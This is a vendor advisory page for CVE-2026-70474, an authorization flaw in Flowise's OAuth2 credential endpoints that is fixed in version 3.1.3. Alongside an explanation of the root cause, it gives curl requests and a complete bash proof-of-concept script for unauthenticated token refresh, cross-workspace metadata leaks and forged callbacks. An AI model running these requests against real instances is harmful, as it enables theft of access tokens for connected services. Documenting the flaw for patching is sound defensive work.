CVE-2026-70474

CVE-2026-70474 is a high-severity incorrect authorization vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Flowise: Cross-Workspace OAuth2 Credential Metadata Leak

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

  1. Cross-workspace credential access, Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
  2. Unauthenticated token injection, An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
  3. Unauthenticated token refresh, An unauthenticated attacker can refresh tokens for any credential.

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:183-185 (callback)

const credential = await credentialRepository.findOneBy({
    id: state as string
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:314-316 (refresh)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId  // <-- Workspace scoping present
})

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41

export const WHITELIST_URLS = [
    // ...
    '/api/v1/oauth2-credential/callback',   // line 40
    '/api/v1/oauth2-credential/refresh',     // line 41
    // ...
]

packages/server/src/index.ts:223-225, prefix-matched whitelist skips all auth:

const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
    next()  // No JWT verification, no API key check
}

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.

POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
  "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

await credentialRepository.update(credential.id, {
    encryptedData,      // Contains attacker-controlled token data
    updatedDate: new Date()
})

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "tokenInfo": {
    "access_token": "new-access-token-value",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T12:00:00.000Z"
  }
}

The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.

Proof of Concept

Prerequisites

  • A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
  • An OAuth2 credential configured in Workspace B (the victim)
  • The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR, see Finding 4)

Step 1, Confirm unauthenticated refresh endpoint is reachable

# No cookies, no Bearer token, completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tokenInfo": {
    "access_token": "<VALID_ACCESS_TOKEN>",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T..."
  }
}

Expected result if credential not found:

{
  "success": false,
  "message": "Credential not found"
}

Step 2, Cross-workspace authorize (requires any valid session)

# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
  -H "Cookie: ${ATTACKER_COOKIE}" \
  -H "Content-Type: application/json"

Expected result, victim credential's OAuth2 config is leaked:

{
  "success": true,
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
  "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}

Step 3, Forge callback to inject attacker-controlled tokens

# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.

curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

#!/usr/bin/env bash
set -euo pipefail

# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target:     ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""

# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
  "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json")

HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)

if [ "${HTTP_CODE}" = "200" ]; then
  echo "[!] VULNERABLE, Unauthenticated token refresh succeeded"
  echo "    Response: ${BODY}" | head -c 500
  echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
  echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
  echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
  echo "    This still confirms the endpoint is reachable without auth"
else
  echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""

# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
  echo "[2] Attempting cross-workspace authorize..."
  AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
    "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
    -H "Cookie: ${ATTACKER_COOKIE}" \
    -H "Content-Type: application/json")

  HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
  BODY=$(echo "${AUTH_RESP}" | head -n -1)

  if [ "${HTTP_CODE}" = "200" ]; then
    echo "[!] VULNERABLE, Cross-workspace credential access confirmed"
    echo "    Leaked authorization URL:"
    echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo "    ${BODY}" | head -c 500
  else
    echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
  fi
else
  echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""

# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
  "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")

HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)

# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code), it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
  echo "[*] Callback endpoint returned ${HTTP_CODE}, auth is enforced (NOT vulnerable)"
else
  echo "[!] VULNERABLE, Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
  echo "    The server attempted to process the OAuth2 callback."
  echo "    With a valid authorization code, tokens would be written to the credential."
fi

echo ""
echo "=== PoC Complete ==="

Affected Components

File Lines Issue
packages/server/src/routes/oauth2/index.ts 80-82 findOneBy({ id }), no workspaceId
packages/server/src/routes/oauth2/index.ts 183-185 findOneBy({ id: state }), no workspaceId
packages/server/src/routes/oauth2/index.ts 314-316 findOneBy({ id }), no workspaceId
packages/server/src/utils/constants.ts 40 /callback whitelisted from auth
packages/server/src/utils/constants.ts 41 /refresh whitelisted from auth

Impact

Vector Auth Required Impact
Credential metadata leak via /authorize Low (any session) Exposes client_id, scope, redirect_uri from any workspace's credential
Token injection via /callback None Overwrite any credential's stored OAuth2 tokens with attacker-controlled values
Token theft via /refresh None Obtain a fresh access_token for any credential's connected service (Microsoft 365, Google, etc.)

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider, without any authentication to the Flowise instance.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

Affected versions

flowise (<= 3.1.2)

Security releases

flowise → 3.1.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade flowise to 3.1.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-70474? CVE-2026-70474 is a high-severity incorrect authorization vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. Which versions of flowise are affected by CVE-2026-70474? flowise (npm) versions <= 3.1.2 is affected.
  3. Is there a fix for CVE-2026-70474? Yes. CVE-2026-70474 is fixed in 3.1.3. Upgrade to this version or later.
  4. Is CVE-2026-70474 exploitable, and should I be worried? Whether CVE-2026-70474 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-70474 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-70474? Upgrade flowise to 3.1.3 or later.

Other vulnerabilities in flowise

Stop the waste.
Protect your environment with Kodem.